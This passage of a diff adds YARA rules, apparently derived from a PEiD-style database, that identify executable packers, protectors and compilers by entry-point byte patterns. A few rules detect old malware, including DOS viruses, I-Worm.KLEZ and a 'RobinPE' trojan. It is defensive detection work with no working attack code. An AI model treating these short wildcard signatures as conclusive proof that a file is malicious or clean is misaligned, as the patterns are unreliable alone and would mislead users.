+		$2 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _WinUpack_v030_beta__By_Dwing_h_
+{
+	meta:
+		description = "WinUpack v0.30 beta -> By Dwing (h)"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+	condition:
+		$0
+}
+rule _EXECryptor_v13045_
+{
+	meta:
+		description = "EXECryptor v1.3.0.45"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+		$1 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+		$2 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Microsoft_C_
+{
+	meta:
+		description = "Microsoft C"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Gleam_100__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Gleam 1.00] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Kuku886_
+{
+	meta:
+		description = "Vx: Kuku.886"
+	strings:
+		$0 = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_vxx_
+{
+	meta:
+		description = "ASProtect vx.x"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+		$1 = {90 60 ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v160__v165_
+{
+	meta:
+		description = "PECompact v1.60 - v1.65"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.29 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13__c1998_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.3 -> (c)1998 Ian Luck (h)"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_071_beta_
+{
+	meta:
+		description = "PCShrink 0.71 beta"
+	strings:
+		$0 = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v11x__Randy_Li_
+{
+	meta:
+		description = "Soft Defender v1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_111_Method_1__bagieTMX_h_
+{
+	meta:
+		description = "SimplePack 1.11 Method 1 -> bagie[TMX] (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Quake518_
+{
+	meta:
+		description = "Vx: Quake.518"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_Console_v10_v101_v102_
+{
+	meta:
+		description = "PE Crypt32 (Console v1.0, v1.01, v1.02)"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Pack_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Pack 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+		$1 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_V200V290__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V2.00-V2.90 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _BJFnt_v13_
+{
+	meta:
+		description = ".BJFnt v1.3"
+	strings:
+		$0 = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+		$1 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v168__v184_
+{
+	meta:
+		description = "PECompact v1.68 - v1.84"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PROPACK_v208_
+{
+	meta:
+		description = "PRO-PACK v2.08"
+	strings:
+		$0 = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Heloween1172_
+{
+	meta:
+		description = "Vx: Heloween.1172"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXScrambler_RC_v1x_
+{
+	meta:
+		description = "UPX-Scrambler RC v1.x"
+	strings:
+		$0 = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102a_
+{
+	meta:
+		description = "ASPack v1.02a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v200_
+{
+	meta:
+		description = "Armadillo v2.00"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Modifier_v01x_
+{
+	meta:
+		description = "UPX Modifier v0.1x"
+	strings:
+		$0 = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1988_04_
+{
+	meta:
+		description = "MS Run-Time Library 1988 (04)"
+	strings:
+		$0 = {1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _WinUpack_v039_final_relocated_image_base__By_Dwing_c2005_h2_
+{
+	meta:
+		description = "WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60__80_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 - 8.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+		$1 = {3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3}
+		$2 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+	condition:
+		$0 or $1 or $2
+}
+rule _GPInstall_v50332_
+{
+	meta:
+		description = "GP-Install v5.0.3.32"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+		$1 = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+	condition:
+		$0 or $1
+}
+rule _Anskya_Binder_v11__Anskya_
+{
+	meta:
+		description = "Anskya Binder v1.1 -> Anskya"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_v132_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.32 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _REC_v034_3_
+{
+	meta:
+		description = "REC v0.34 [3]"
+	strings:
+		$0 = {06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v133_
+{
+	meta:
+		description = "PECompact v1.33"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v22_
+{
+	meta:
+		description = "PEtite v2.2"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ACProtect_109__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+		$1 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$2 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASProtect_v11_
+{
+	meta:
+		description = "ASProtect v1.1"
+	strings:
+		$0 = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+	condition:
+		$0 at entrypoint
+}
+rule _VIRUS__IWormKLEZ_
+{
+	meta:
+		description = "VIRUS - I-Worm.KLEZ"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0}
+	condition:
+		$0
+}
+rule _CHECKPRG_c_1992_
+{
+	meta:
+		description = "CHECKPRG (c) 1992"
+	strings:
+		$0 = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+	condition:
+		$0 at entrypoint
+}
+rule _WARNING__TROJAN__RobinPE_
+{
+	meta:
+		description = "WARNING -> TROJAN -> RobinPE"
+	strings:
+		$0 = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+		$1 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+		$2 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_v110b4_
+{
+	meta:
+		description = "PECompact v1.10b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11_250_Beta__NEOx_
+{
+	meta:
+		description = "nPack v1.1 250 Beta -> NEOx"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V06__SMoKE_
+{
+	meta:
+		description = "EXE Shield V0.6 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v1304__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.304 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v13_
+{
+	meta:
+		description = "PEtite v1.3"
+	strings:
+		$0 = {66 9C 60 50 8D 88 ?? F0 ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1 68 ?? ?? ?? ?? 53 50 80 04 24 08 50 80 04 24 42}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_60_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+		$1 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Eddie1800_
+{
+	meta:
+		description = "Vx: Eddie.1800"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006710__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V33__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C_v20_
+{
+	meta:
+		description = "Microsoft Visual C v2.0"
+	strings:
+		$0 = {53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V03X__Dwing_
+{
+	meta:
+		description = "Upack V0.3X -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _ILUCRYPT_v4015_exe_
+{
+	meta:
+		description = "ILUCRYPT v4.015 [exe]"
+	strings:
+		$0 = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_v017__F_Giesen_
+{
+	meta:
+		description = "kkrunchy v0.17 -> F. Giesen"
+	strings:
+		$0 = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_Watcom_CCpp_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Watcom C/C++ DLL] --> Anorganix"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+		$1 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ENIGMA_Protector__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector -> Sukhov Vladimir"
+	strings:
+		$0 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+	condition:
+		$0
+}
+rule _PE_Packer_
+{
+	meta:
+		description = "PE Packer"
+	strings:
+		$0 = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10_
+{
+	meta:
+		description = "Vcasm-Protector 1.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_V01__ppMeat_
+{
+	meta:
+		description = "Escargot V0.1 -> ++Meat"
+	strings:
+		$0 = {EB 04 40 30 2E 31 60 68 61}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_Nice_Protect_21__GPcH_Soft_
+{
+	meta:
+		description = "DotFix Nice Protect 2.1 -> GPcH Soft"
+	strings:
+		$0 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_vxx_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x DLL"
+	strings:
+		$0 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Packer__Northfox_
+{
+	meta:
+		description = "Unknown Packer -> Northfox"
+	strings:
+		$0 = {54 59 68 61 7A 79}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1200__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 3F 1E 00 00}
+	condition:
+		$0 at entrypoint
+}
